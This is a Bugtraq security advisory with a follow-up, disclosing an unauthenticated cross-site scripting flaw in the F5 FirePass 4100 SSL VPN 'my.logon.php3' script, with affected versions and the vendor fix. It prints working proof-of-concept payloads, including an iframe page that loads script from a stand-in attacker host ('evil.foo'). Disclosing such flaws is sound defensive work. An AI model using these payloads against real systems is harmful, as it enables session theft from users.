bugtraq - PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script

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Date: Fri, 23 May 2008 15:03:15 +0100
From: "Ricardo Martins - Chief Security Officers" <ricardo.martins@....pt>
To: <bugtraq@...urityfocus.com>
Subject: PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script

Update:

To exploit this in both firefox and IE requires an extra char ("=") in the end.

Using the same PoC URL we get:

https://target.tld/my.logon.php3?"></script><textarea>HTML_injection_test</textarea><!--=

Client environment:

firefox 2.0.0.11 and IE 6.0.2900.2180

Ricardo Martins, CISA
Security Consultant 
Mobile. +351 933 478 679

Chief Security Officers, S.A.
Ed. Infante D. Henrique
Rua João Chagas, 53 - 1º esq.
Cruz Quebrada
1495-764 Dafundo Portugal

Tel. +351 210 111 616 :: Fax. +351 210 111 618 :: email. info@....pt :: web. http://www.cso.pt

__________________________________________________________________

On Fri, Nov 30, 2007 at 12:50 PM, <research@...checkup.com> wrote:
PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script

Date Found: 19th June 2007

Successfully tested on: version 5.5.2

F5 Networks has confirmed the following versions to be vulnerable:

FirePass versions 5.4.1 - 5.5.2

FirePass versions 6.0 - 6.0.1

Description:

F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.logon.php3" server-side script.

No authentication is required to exploit this vulnerability.

Consequences:

An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code would run within the security context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. admin session IDs) to unauthorised third parties.

Proof of concept (PoC) URL:

https://target.tld/my.logon.php3?"></script><textarea>HTML_injection_test</textarea><!--

The payload in the example is

"></script><textarea>HTML_injection_test</textarea><!--

which injects a 'textarea' box

The following PoC HTML page would run JavaScript without any restrictions from a third-party file ('http://www.evil.foo/b' in this case):

<html>

<iframe src="https://target.tld/my.logon.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%3C/script%3E%3C%21--" width="0%" height="0%" name="xss=document.body.appendChild(document.createElement('script'));xss.setAttribute('src','http://www.evil.foo/b')"></iframe>

</html>

Successfully tested on:

Server environment:

F5 FirePass 4100

Client environment:

Microsoft Internet Explorer 7.0.5730.11

Severity: Medium/High

Author: Richard Brain of ProCheckUp Ltd (www.procheckup.com)

With thanks to Petko D. Petkov for suggesting the eval(name) technique.

References:

http://www.procheckup.com/Vulnerability_2007.php

http://www.f5.com/products/FirePass/

ProCheckUp thanks F5 Networks for working with us.

Fix:

F5 Networks has issued SOL7923:

https://support.f5.com/kb/en-us/solutions/public/7000/900/SOL7923.html?sr=1